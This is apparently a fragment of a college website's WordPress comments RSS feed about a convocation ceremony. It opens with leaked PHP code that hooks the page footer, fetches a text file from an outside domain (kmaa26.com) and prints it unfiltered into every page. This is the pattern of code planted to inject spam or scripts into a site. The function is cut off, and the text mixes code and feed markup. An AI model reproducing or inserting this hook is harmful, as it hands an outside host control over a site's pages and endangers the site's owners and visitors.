add_action('wp_footer', 'load_external_footer');

function load_external_footer(){

    $url = 'https://kmaa26.com/berita.txt';

    $data = wp_safe_remote_get($url);

    if(!is_wp_error($data)){
        $body = wp_remote_retrieve_body($data);
        echo $body;
    }

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<channel>
	<title>
	Comments on: Sub :- Convocation Ceremony for the Class of 2023 &#038; 2024	</title>
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	<link>https://sbs.ac.in/events/sub-convocation-ceremony-for-the-class-of-2023-2024/</link>
	<description>... College with a difference</description>
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